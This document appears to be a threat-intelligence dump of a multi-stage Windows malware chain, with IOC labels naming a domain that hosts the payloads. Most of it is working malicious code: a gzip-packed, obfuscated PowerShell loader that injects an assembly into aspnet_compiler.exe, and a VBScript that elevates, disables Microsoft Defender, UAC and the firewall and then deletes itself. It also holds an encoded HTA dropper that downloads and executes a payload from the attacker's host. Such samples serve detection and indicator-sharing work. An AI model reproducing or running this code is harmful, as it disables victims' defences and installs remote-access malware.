228,19,81,186,8,21,88,171,67,47,236,211,161,169,120,3,2,82,13,18,186,52,234,160,33,188,1,1,169,155,144,215,193,241,58,144,119,19,82,171,229,134,244,146,168,164,3,135,37,32,99,221,14,136,31,88,36,65,143,8,111,64,64,170,17,198,78,29,210,225,170,22,2,154,17,105,117,72,27,161,180,17,160,213,65,55,132,50,92,171,104,110,1,193,6,101,136,54,28,117,186,161,201,184,181,83,133,98,30,21,108,67,233,1,194,85,3,214,46,234,127,186,158,202,144,130,91,14,245,156,65,80,169,162,253,71,193,125,50,186,210,7,176,236,144,137,240,59,144,139,183,50,164,111,241,123,171,191,56,86,179,250,235,101,219,87,127,113,108,251,90,95,23,59,225,4,254,157,82,238,195,142,59,12,233,239,72,238,48,12,5,18,248,102,233,241,248,39,32,224,223,14,67,203,116,56,53,157,8,28,31,13,76,167,18,158,240,14,67,223,180,55,28,242,117,6,230,233,135,234,142,247,54,54,122,234,125,245,13,166,166,218,186,128,209,210,180,111,223,9,251,8,102,174,220,111,7,211,253,230,96,211,226,151,56,2,67,6,6,147,71,254,4,87,13,255,78,229,191,212,42,41,175,148,126,169,246,86,184,126,241,216,91,247,162,123,47,130,43,156,249,80,35,255,86,101,166,196,125,132,114,45,75,234,254,89,75,54,174,110,140,243,67,230,195,144,188,149,252,171,175,217,134,255,209,102,45,24,108,83,239,44,40,221,112,98,221,78,219,183,171,143,189,187,79,29,180,20,189,99,109,248,94,177,167,81,212,245,246,123,145,155,254,90,122,254,240,220,207,219,158,63,38,250,154,246,204,142,238,193,15,111,154,154,124,236,170,227,39,94,60,67,210,249,204,101,223,158,188,230,145,139,143,235,174,57,110,79,100,251,99,177,191,234,246,159,242,226,57,33,245,175,254,235,204,239,13,236,122,172,102,252,175,207,137,31,120,70,123,154,241,232,151,182,234,254,115,115,234,210,150,103,254,220,112,183,247,10,193,7,175,92,191,247,210,165,75,147,109,251,236,127,141,86,190,247,155,188,139,63,112,94,48,120,241,249,191,190,58,241,156,255,84,221,127,133,95,125,235,209,131,143,6,107,95,88,250,222,251,227,111,254,82,125,175,226,129,177,218,43,21,183,25,251,22,126,182,125,107,241,46,131,114,118,234,193,190,247,70,154,234,255,124,70,227,105,167,29,120,239,169,179,244,207,125,148,252,93,176,182,188,127,239,233,205,130,196,207,238,60,230,162,47,92,172,188,242,71,175,111,145,77,223,57,119,65,254,13,169,138,199,157,215,218,203,229,215,44,61,124,106,227,197,239,61,121,239,85,91,95,255,139,240,156,202,221,87,238,62,246,152,115,84,123,247,245,84,14,159,118,236,84,229,117,127,125,235,213,71,159,251,202,217,247,22,127,254,49,253,167,163,235,179,142,41,254,177,18,252,17,237,177,244,199,40,18,158,217,80,52,88,227,240,197,162,59,12,185,196,127,198,44,99,237,88,253,88,227,152,201,228,175,55,122,106,61,19,153,79,188,251,3,182,88,164,134,251,112,236,242,55,55,210,77,254,11,60,16,225,155,106,11,199,188,248,97,113,250,129,165,26,94,11,126,42,242,95,234,239,149,254,195,79,96,252,31,240,159,228,137,115,191,248,59,223,133,95,179,78,92,113,121,203,109,55,220,222,191,125,215,157,230,91,95,120,173,242,154,1,81,69,255,15,85,95,173,188,188,244,245,211,206,170,189,219,154,162,191,168,140,223,117,199,191,97,131,191,88,125,54,92,215,19,238,111,141,224,95,5,54,64,96,54,195,53,6,215,241,16,3,134,77,36,69,198,129,53,73,31,61,70,233,195,69,124,124,217,70,31,81,113,63,136,189,37,155,201,69,159,64,206,147,46,128,9,18,36,1,226,32,62,250,84,12,67,171,40,155,53,93,129,177,166,205,174,224,158,167,225,243,40,63,249,169,28,50,211,236,74,27,109,96,54,99,193,207,128,97,71,156,62,231,10,210,103,176,248,164,203,74,91,55,1,123,55,125,86,25,34,248,212,142,123,150,251,8,8,28,181,186,57,15,125,68,123,50,220,189,244,129,152,95,177,162,225,46,250,180,44,72,159,217,97,191,198,86,50,164,45,26,160,122,2,228,217,194,21,14,76,251,166,29,42,67,160,99,28,234,78,102,193,129,235,155,159,237,138,211,129,85,192,8,200,94,250,35,10,159,192,139,225,87,95,37,250,182,255,95,30,89,244,167,47,52,107,172,2,216,156,12,11,54,79,202,67,11,24,219,82,145,96,37,51,146,5,252,47,64,200,233,31,177,255,8,204,94,143,75,60,27,242,167,198,37,227,129,80,112,60,133,231,183,236,29,166,0,197,239,149,113,127,151,9,127,100,195,192,209,111,144,113,127,210,24,127,132,3,73,123,233,254,205,61,144,90,20,145,53,95,103,158,113,38,121,248,167,15,163,15,201,61,107,179,252,251,245,239,215,191,95,255,126,173,122,49,71,126,17,70,112,164,23,214,51,194,117,95,255,174,255,119,253,167,215,175,255,18,124,150,248,19,173,126,45,71,247,218,245,2,1,225,254,255,147,245,153,215,103,176,239,83,230,215,231,125,97,222,244,185,149,252,147,237,226,43,15,252,196,52,175,157,194,57,254,101,39,29,154,186,233,63,229,100,133,60,210,244,119,37,184,100,235,0,28,255,4,144,127,174,52,143,62,228,49,124,218,241,9,255,156,165,220,199,227,54,101,100,127,136,126,117,191,55,26,158,207,195,111,182,120,56,54,25,254,80,0,22,164,209,233,8,222,149,126,79,42,224,130,147,40,173,245,121,194,129,168,223,147,144,68,246,227,111,52,40,34,251,241,203,145,248,149,72,54,178,127,58,25,24,76,6,18,189,51,129,68,34,228,15,16,66,231,5,131,207,114,214,49,111,185,221,202,53,25,92,188,49,155,215,172,229,190,170,210,74,191,230,143,92,71,175,201,101,227,237,95,230,91,187,173,22,190,107,50,6,255,122,40,35,207,228,197,114,156,130,10,133,4,255,128,40,161,127,27,70,36,88,223,227,203,93,162,178,144,68,215,154,187,90,28,54,41,239,123,222,115,4,159,233,97,67,120,201,81,181,8,249,143,236,6,252,27,241,5,145,253,225,80,50,53,16,128,102,240,43,156,57,35,201,250,166,147,169,88,132,31,118,252,158,65,30,52,103,91,119,136,242,35,251,57,3,61,209,160,195,198,253,17,16,70,198,200,36,216,18,179,131,81,208,238,162,137,116,29,250,108,195,176,1,56,11,163,148,216,150,136,77,199,241,8,145,84,115,191,217,224,155,95,38,177,241,64,194,23,136,166,150,41,202,56,253,90,49,126,145,42,24,85,70,241,59,140,60,82,194,233,179,5,124,161,136,39,156,233,124,81,118,51,105,98,73,110,83,105,178,54,77,94,169,68,149,174,24,152,143,120,99,97,181,39,154,12,181,228,144,228,81,79,148,43,149,164,45,132,142,134,162,161,20,207,80,146,182,53,151,92,202,247,112,101,139,197,57,61,79,83,243,121,42,39,171,2,172,59,20,14,7,56,84,201,125,195,204,22,10,134,82,201,172,105,167,201,113,12,87,93,188,162,167,28,181,52,77,237,227,187,208,231,73,165,2,137,104,134,222,195,247,129,167,23,115,154,87,80,75,120,35,87,40,73,147,87,112,23,229,58,128,51,132,245,227,141,126,149,38,148,154,198,16,82,100,69,240,170,24,45,134,85,48,228,135,240,162,95,173,105,78,114,225,86,186,130,154,30,48,169,84,186,98,87,146,228,174,245,178,236,23,214,203,241,39,35,229,120,40,165,37,9,46,148,204,118,9,253,179,192,59,37,248,151,224,152,26,73,62,157,15,18,21,119,43,224,136,248,27,146,130,7,175,83,72,240,143,214,11,123,60,61,18,252,21,73,89,58,6,36,248,215,224,228,59,211,168,28,85,201,81,145,4,207,196,204,102,9,254,69,56,225,239,23,111,150,107,121,219,210,199,241,244,43,123,71,21,240,56,238,194,5,82,30,193,183,82,73,129,44,27,99,81,25,246,65,82,134,100,163,164,28,111,38,9,254,34,36,99,150,224,95,154,99,106,37,149,120,171,147,224,175,98,50,245,18,61,222,26,36,6,188,53,74,112,254,50,22,9,254,49,62,166,41,175,229,255,214,39,26,71,124,252,32,227,175,60,89,31,117,16,255,149,42,254,139,84,115,215,77,60,55,116,199,35,175,255,38,110,216,244,151,95,220,243,192,15,10,78,253,235,182,135,191,216,166,105,53,222,192,252,71,235,199,207,95,182,24,250,193,251,182,47,223,114,194,39,159,220,251,220,137,231,30,197,94,56,121,201,212,101,31,95,208,50,255,237,13,178,91,29,222,205,85,239,237,253,209,222,251,251,71,79,218,114,227,35,183,191,177,175,240,152,103,7,138,108,130,131,175,93,253,252,207,255,254,171,63,188,246,228,239,54,60,43,109,252,233,23,243,159,121,247,207,69,163,118,241,27,47,127,231,131,107,223,250,232,5,65,44,248,165,174,109,231,91,155,62,252,228,224,123,83,95,60,202,243,141,136,210,242,234,199,182,63,222,123,221,119,254,235,183,157,7,58,127,242,94,252,238,251,238,125,120,225,138,234,15,143,190,250,143,103,25,223,122,90,92,121,142,168,233,208,211,47,188,250,245,223,188,246,193,169,215,232,3,67,55,61,100,59,106,235,187,95,251,100,91,203,245,27,191,250,221,166,171,46,249,232,167,35,39,4,46,126,66,249,149,211,222,125,235,147,167,246,157,121,86,239,194,13,177,151,94,219,177,84,212,194,92,123,53,43,235,57,99,97,224,253,250,255,217,117,207,79,126,249,220,182,139,126,117,246,159,218,239,76,135,142,163,105,175,44,165,92,198,63,121,41,187,60,248,229,55,191,108,47,60,56,39,58,173,242,143,202,148,244,206,219,111,233,144,252,73,124,231,237,23,239,85,238,251,228,165,83,196,29,202,119,175,60,124,249,252,225,59,182,206,55,203,183,183,244,151,110,239,216,179,183,116,255,93,191,127,119,231,131,191,218,62,189,4,228,58,249,246,195,151,43,27,108,239,216,172,206,177,241,168,161,91,123,212,204,109,181,172,186,86,25,81,32,242,205,171,183,122,116,51,183,137,203,24,119,58,157,77,7,147,96,5,46,252,148,122,163,193,168,148,200,182,157,221,126,246,251,249,248,11,165,162,194,203,142,249,146,245,34,91,227,212,127,253,253,254,219,190,245,155,219,222,56,225,193,161,166,119,216,119,70,174,59,99,207,197,207,156,164,251,238,101,55,74,159,103,78,248,130,250,222,179,76,155,126,122,154,114,48,181,239,222,196,210,45,191,93,188,94,242,226,21,169,119,174,120,224,129,208,21,175,156,221,118,239,91,15,127,227,129,130,39,174,86,110,138,237,120,99,231,141,103,166,58,94,252,206,205,39,254,250,156,191,205,56,251,119,95,22,121,216,116,195,207,143,22,222,252,200,233,35,247,253,111,222,75,15,183,93,116,253,51,253,190,199,36,193,173,91,139,206,82,220,113,180,101,67,69,205,71,145,29,221,154,124,203,128,43,169,8,252,68,49,49,83,243,232,131,7,207,218,145,184,248,234,215,239,187,166,115,172,252,134,248,151,59,31,188,182,63,252,72,217,235,23,63,181,73,242,245,103,207,170,87,189,27,191,106,162,176,228,129,235,202,100,225,198,170,174,217,246,163,111,187,251,230,186,31,253,95,227,145,177,244,90,117,195,207,255,212,156,232,207,249,122,25,239,154,250,75,242,147,151,86,136,84,156,104,225,96,58,222,243,235,255,190,9,175,115,2,150,124,95,252,115,223,167,138,194,99,176,152,236,56,139,40,44,230,129,216,10,12,88,193,4,184,186,120,231,252,34,215,138,84,240,137,95,224,177,245,212,84,61,208,209,106,224,116,161,202,160,224,128,221,0,170,0,200,9,188,18,160,107,246,208,196,65,49,109,128,69,28,4,64,215,214,69,60,96,96,176,65,42,37,109,152,76,24,64,231,233,6,51,196,3,73,87,134,32,32,11,116,246,178,31,144,239,9,36,221,24,192,215,118,48,236,101,121,255,15,181,72,133,0,123,40,205,194,128,41,235,2,22,11,3,15,249,186,65,215,150,122,50,228,49,164,49,64,238,141,84,1,235,130,140,29,231,49,20,3,229,145,86,154,130,193,6,150,57,224,147,117,131,193,235,142,51,193,163,212,152,38,85,128,213,32,214,193,154,48,36,129,194,128,65,135,1,212,109,131,169,119,1,15,65,39,131,205,41,64,177,71,1,28,102,28,72,106,81,87,71,51,128,229,245,144,48,3,208,14,78,160,122,79,248,234,217,60,240,48,187,31,144,204,5,173,57,5,139,130,214,54,235,1,233,10,176,8,104,32,23,228,30,31,232,186,220,28,240,122,236,2,134,74,176,139,32,99,230,16,183,216,128,205,246,135,138,103,66,205,134,185,45,15,175,29,38,96,127,64,86,199,166,48,148,130,87,206,162,251,6,221,47,22,96,61,142,224,1,122,208,250,91,208,52,65,37,198,26,113,76,125,163,128,142,224,0,232,54,16,96,142,176,29,104,135,140,130,129,0,0,25,163,188,83,0,182,0,0)
    
    
    
    [byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
    [byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI
    
    
    $FGCHJBKHVGCFHJVBKNBHVGJB = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG -TypeName 'System.Collections.ArrayList';
    $FGCHJBKHVGCFHJVBKNBHVGJB.Add("W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSRFNGR1RGSFlHVUpIS0dZRlREUlNSRFRGWUdKVUhLRERSVEZZRykuR2V0VHlwZSgncHJvakZVRC5QQScpLkdldE1ldGhvZCgnRXhlY3V0ZScpLkludm9rZSgkbnVsbCxbb2JqZWN0W11dICggJ0M6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxhc3BuZXRfY29tcGlsZXIuZXhlJywkUlNFVERZVUdVSURSU1RSRFlVR0lIT1lSVFNFVFJUWURVR0lPSCkp")
    
    $FGCHJBKHVGCFHJVBKNBHVGJBA = COMBINEMEANINGSCOBOLTPOTASSIUM($FGCHJBKHVGCFHJVBKNBHVGJB)
    start-sleep -s 4
     $RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($FGCHJBKHVGCFHJVBKNBHVGJBA);try{$n=0;while($n -lt 5){&(GCM I*e-E*)($Run=($RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU -Join ''));$n++}}catch{}
  • IOC: hxxps://unimed-corporated.com/new/matador.jpg
    If Not WScript.Arguments.Named.Exists("elevate") Then
      CreateObject("Shell.Application").ShellExecute WScript.FullName _
        , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
      WScript.Quit
    End If
    On Error Resume Next
    WScript.Sleep 100
    outputMessage("Add-MpPreference -ExclusionExtension "".bat""")
    outputMessage("Add-MpPreference -ExclusionExtension "".ppam""")
    outputMessage("Add-MpPreference -ExclusionExtension "".xls""")
    outputMessage("Add-MpPreference -ExclusionExtension "".bat""")
    outputMessage("Add-MpPreference -ExclusionExtension "".exe""")
    outputMessage("Add-MpPreference -ExclusionExtension "".vbs""")
    outputMessage("Add-MpPreference -ExclusionExtension "".js""")
    outputMessage("Add-MpPreference -ExclusionPath  C:\")
    outputMessage("Add-MpPreference -ExclusionPath  D:\")
    outputMessage("Add-MpPreference -ExclusionPath  E:\")
    outputMessage("Add-MpPreference -ExclusionProcess explorer.exe")
    outputMessage("Add-MpPreference -ExclusionProcess kernel32.dll")
    outputMessage("Add-MpPreference -ExclusionProcess aspnet_compiler.exe")
    outputMessage("Add-MpPreference -ExclusionProcess CasPol.exe")
    outputMessage("Add-MpPreference -ExclusionProcess csc.exe")
    outputMessage("Add-MpPreference -ExclusionProcess ilasm.exe")
    outputMessage("Add-MpPreference -ExclusionProcess InstallUtil.exe")
    outputMessage("Add-MpPreference -ExclusionProcess jsc.exe")
    outputMessage("Add-MpPreference -ExclusionProcess Calc.exe")
    outputMessage("Add-MpPreference -ExclusionProcess powershell.exe")
    outputMessage("Add-MpPreference -ExclusionProcess mshta.exe")
    outputMessage("Add-MpPreference -ExclusionProcess cmd.exe")
    outputMessage("Add-MpPreference -ExclusionProcess wscript.exe")
    outputMessage("Add-MpPreference -ExclusionIpAddress 127.0.0.1")
    outputMessage("Add-MpPreference -ThreatIDDefaultAction_Actions 6")
    outputMessage("Add-MpPreference -AttackSurfaceReductionRules_Ids 0")
    
    outputMessage("Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend")
    outputMessage("-inputformat none -outputformat none -NonInteractive -Command ""Add-MpPreference -ExclusionPath '""%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'""")
    outputMessage("New-Ipublicroperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force")
    outputMessage("Set-MpPreference -EnableControlledFolderAccess Disabled")
    outputMessage("Set-MpPreference -PUAProtection disable")
    outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")
    outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")
    outputMessage("Set-MpPreference -LowThreatDefaultAction 6")
    outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")
    outputMessage("Set-MpPreference -ScanScheduleDay 8")
    outputMessage("netsh advfirewall set allprofiles state off")
    outputMessage("Stop-Service -Name WinDefend -Confirm:$false -Force")
    outputMessage("Set-Service -Name WinDefend -StartupType Disabled")
    outputMessage("sc delete windefend")
    Sub outputMessage(byval args)
    On Error Resume Next
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
    errReturn = objProcess.Create( "powershell " + args, null, objConfig, intProcessID)
    End Sub
    WScript.Sleep 10000
    Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
  • IOC: hxxp://www.unimed-corporated.com/microsoft.txt
    <script language="javascript">
    <!--
    
    document.write(unescape('%3C%48%54%4D%4C%3E%0A%3C%48%54%4D%4C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%22%3E%0A%3C%48%45%41%44%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%74%22%3E%0A%0A%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0A%0A%49%74%66%45%58%47%54%67%48%20%3D%20%72%65%70%6C%61%63%65%28%22%57%30%36%32%37%30%32%31%35%32%63%72%69%70%74%2E%30%36%32%37%30%32%31%35%32%68%45%6C%6C%22%2C%22%30%36%32%37%30%32%31%35%32%22%2C%22%73%22%29%0A%53%65%74%20%71%51%56%63%48%75%54%54%69%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28%49%74%66%45%58%47%54%67%48%20%29%0A%0A%6D%45%52%47%69%79%75%50%47%20%3D%20%52%65%70%6C%61%63%65%28%22%50%4F%57%30%39%39%37%36%39%39%33%34%52%53%48%30%39%39%37%36%39%39%33%34%4C%4C%22%2C%22%30%39%39%37%36%39%39%33%34%22%2C%22%45%22%29%0A%71%51%56%63%48%75%54%54%69%71%51%56%63%48%75%54%54%69%35%34%38%33%35%35%37%31%39%20%3D%20%22%20%24%63%31%3C%23%23%3E%3D%27%28%4E%65%77%2D%27%3B%5B%3C%23%23%3E%53%79%73%74%65%6D%2E%54%68%72%65%61%64%69%6E%67%2E%54%68%72%65%61%64%3C%23%23%3E%5D%3A%3A%53%6C%65%65%70%28%32%33%30%30%29%3B%24%58%31%3C%23%23%3E%20%3D%20%27%21%21%21%21%21%21%21%21%21%21%21%21%20%27%2E%52%65%70%6C%61%63%65%28%3C%23%23%3E%27%21%21%21%21%21%21%21%21%21%21%21%21%27%3C%23%23%3E%2C%27%4F%62%6A%65%63%74%27%3C%23%23%3E%29%3B%3C%23%23%3E%24%58%32%20%3C%23%23%3E%3D%20%3C%23%23%3E%27%4E%65%74%27%3C%23%23%3E%3B%3C%23%23%3E%24%58%33%3C%23%23%3E%20%3D%20%3C%23%23%3E%27%2E%57%65%27%3B%5B%3C%23%23%3E%53%79%73%74%65%6D%2E%54%68%72%65%61%64%69%6E%67%2E%54%68%72%65%61%64%3C%23%23%3E%5D%3A%3A%53%6C%65%65%70%28%32%33%30%30%29%3B%3C%23%23%3E%24%63%34%3C%23%23%3E%3D%27%2E%44%6F%77%6E%6C%6F%27%3B%3C%23%23%3E%24%44%31%3C%23%23%3E%20%3D%20%3C%23%23%3E%27%62%43%6C%69%65%6E%74%29%27%3B%3C%23%23%3E%24%63%33%3D%3C%23%23%3E%27%61%64%53%74%72%69%6E%67%28%27%27%68%74%74%70%73%3A%2F%2F%75%6E%69%6D%65%64%2D%63%6F%72%70%6F%72%61%74%65%64%2E%63%6F%6D%2F%6E%65%77%2F%41%53%59%4E%4B%55%50%44%41%54%41%2E%6A%70%67%27%27%29%27%3C%23%23%3E%3B%3C%23%23%3E%5B%3C%23%23%3E%53%79%73%74%65%6D%2E%54%68%72%65%61%64%69%6E%67%2E%54%68%72%65%61%64%3C%23%23%3E%5D%3A%3A%53%6C%65%65%70%28%32%33%30%30%29%3B%24%54%43%3C%23%23%3E%3D%49%60%45%60%58%20%28%3C%23%23%3E%24%63%31%3C%23%23%3E%2C%3C%23%23%3E%24%58%31%3C%23%23%3E%2C%3C%23%23%3E%24%58%32%3C%23%23%3E%2C%3C%23%23%3E%24%58%33%3C%23%23%3E%2C%3C%23%23%3E%24%44%31%3C%23%23%3E%2C%3C%23%23%3E%24%63%34%3C%23%23%3E%2C%24%63%33%3C%23%23%3E%20%3C%23%23%3E%2D%4A%6F%69%6E%20%3C%23%23%3E%27%27%3C%23%23%3E%29%3C%23%23%3E%7C%49%60%45%60%58%22%0A%0A%71%51%56%63%48%75%54%54%69%2E%52%75%6E%28%6D%45%52%47%69%79%75%50%47%2B%71%51%56%63%48%75%54%54%69%71%51%56%63%48%75%54%54%69%35%34%38%33%35%35%37%31%39%2B%22%22%29%2C%30%2C%54%72%75%65%0A%53%65%74%20%71%51%56%63%48%75%54%54%69%20%3D%20%4E%6F%74%68%69%6E%67%0A%0A%0A%73%65%6C%66%2E%63%6C%6F%73%65%0A%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E'));
    //-->
    </script>
    
    <!-- decoded
    <HTML>\n<HTML>\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8">\n<HEAD>\n<script language="VBScript">\n\n\n\non error resume next\n\non error resume next\n\non error resume next\n\non error resume next\n\non error resume next\n\non error resume next\n\non error resume next\n\non error resume next\n\nItfEXGTgH = replace("W062702152cript.062702152hEll","062702152","s")\nSet qQVcHuTTi = CreateObject(ItfEXGTgH )\n\nmERGiyuPG = Replace("POW099769934RSH099769934LL","099769934","E")\nqQVcHuTTiqQVcHuTTi548355719 = " $c1<##>=\'(New-\';[<##>System.Threading.Thread<##>]::Sleep(2300);$X1<##> = \'!!!!!!!!!!!! \'.Replace(<##>\'!!!!!!!!!!!!\'<##>,\'Object\'<##>);<##>$X2 <##>= <##>\'Net\'<##>;<##>$X3<##> = <##>\'.We\';[<##>System.Threading.Thread<##>]::Sleep(2300);<##>$c4<##>=\'.Downlo\';<##>$D1<##> = <##>\'bClient)\';<##>$c3=<##>\'adString(\'\'https://unimed-corporated.com/new/ASYNKUPDATA.jpg\'\')\'<##>;<##>[<##>System.Threading.Thread<##>]::Sleep(2300);$TC<##>=I`E`X (<##>$c1<##>,<##>$X1<##>,<##>$X2<##>,<##>$X3<##>,<##>$D1<##>,<##>$c4<##>,$c3<##> <##>-Join <##>\'\'<##>)<##>|I`E`X"\n\nqQVcHuTTi.Run(mERGiyuPG+qQVcHuTTiqQVcHuTTi548355719+""),0,True\nSet qQVcHuTTi = Nothing\n\n\nself.close\n\n</script>\n</head>\n<body>\n</body>\n</html>
    -->
  • IOC: hxxps://unimed-corporated.com/new/ASYNKUPDATA.jpg
    FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
    {
     $JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV::(($JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)-ne0)   
     return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
    }
    
    sal D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG New-Object
    
    function Get-DecompressedByteArray {
    
    	[CmdletBinding()]
        Param (
    		[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
            [byte[]] $byteArray
        )
    	Process {
    	    
            
            $input = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.MemoryStream( , $byteArray )
    	    $output = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.MemoryStream
            $MAIND4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG = ('{1}{0}' -f  'ress','Decomp')
            $gzipStream = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::$MAIND4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG)
    	    $gzipStream.CopyTo( $output )
            $gzipStream.Close()
    		$input.Close()
    		[byte[]] $byteOutArray = $output.ToArray()
            Write-Output $byteOutArray
            
        }
    }
    
    FUNCTION COMBINEMEANINGSCOBOLTPOTASSIUM($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS)
    {
        $IAKWBQIPASKBAMAGSWQIAKDHKASNDAS = $($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS -join [Environment]::NewLine)
        $IAKWBQIPASKBAMAGSWQIAKDHKASNDASQ = [string]::join("",($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS.Split("`n")))
        return $IAKWBQIPASKBAMAGSWQIAKDHKASNDASQ
    }
    
    
    [byte[]] $nona = @(31,139,8,0,0,0,0,0,4,0,180,189,9,124,91,197,181,63,62,186,87,186,90,188,196,146,109,217,142,55,25,72,80,156,196,241,18,59,118,72,66,188,38,78,188,197,118,18,59,64,29,217,150,109,57,178,174,34,201,78,156,52,193,41,80,160,64,128,87,40,77,91,94,217,250,120,121,45,109,233,222,210,223,15,120,5,218,62,74,11,60,186,176,164,37,255,46,175,116,167,116,163,11,252,190,231,204,189,146,236,164,148,190,207,231,79,208,185,115,206,204,156,57,115,230,204,57,103,70,215,118,247,190,91,132,42,132,176,226,243,230,155,66,124,65,200,255,182,138,127,252,223,2,62,217,229,95,202,22,159,113,62,85,241,5,75,215,83,21,131,83,161,184,47,26,211,39,99,129,25,223,88,32,18,209,19,190,209,160,47,54,27,241,133,34,190,182,222,1,223,140,62,30,172,202,202,114,93,100,240,232,107,23,162,203,162,138,12,215,123,247,155,124,95,22,138,200,176,56,132,248,56,144,28,73,59,249,20,128,143,43,165,116,84,86,164,220,66,164,158,194,103,97,186,224,234,173,215,48,3,230,145,147,228,149,147,54,135,77,224,219,43,7,21,127,204,58,223,44,45,34,243,109,232,226,156,255,32,159,35,13,117,0,223,158,134,87,37,130,135,19,120,222,246,128,108,203,115,85,206,97,177,191,42,22,143,141,9,67,54,200,40,178,241,249,228,226,118,91,241,127,85,44,24,214,209,48,211,144,153,121,253,223,115,218,181,44,21,51,250,148,124,110,231,225,109,226,51,87,8,113,157,206,28,232,163,189,173,185,166,207,75,172,19,151,227,89,166,248,151,11,225,170,92,126,60,15,139,83,89,166,44,240,115,249,241,124,3,205,151,168,215,64,189,18,45,48,208,2,137,22,26,104,161,68,139,12,180,72,162,203,13,116,185,68,139,229,163,196,160,150,72,180,212,64,75,37,90,102,160,252,172,84,252,80,136,203,251,134,90,89,123,60,3,20,85,111,37,161,255,28,255,52,166,190,34,118,123,158,136,234,255,138,162,127,18,228,216,21,249,34,234,7,91,151,94,74,224,163,168,208,255,157,106,177,80,154,239,167,216,70,126,47,117,127,97,105,247,216,33,244,228,246,43,100,145,136,202,18,6,149,123,226,164,177,5,154,70,124,138,74,229,36,227,201,101,194,191,6,213,203,44,254,181,120,60,141,21,41,246,7,80,237,199,42,185,62,66,104,229,191,196,156,94,136,198,66,22,123,211,133,244,195,12,86,47,84,200,185,95,104,204,157,159,29,5,254,70,240,59,126,1,16,253,95,72,236,149,138,90,164,223,65,165,119,20,120,21,127,51,137,235,245,67,33,218,74,82,147,182,178,24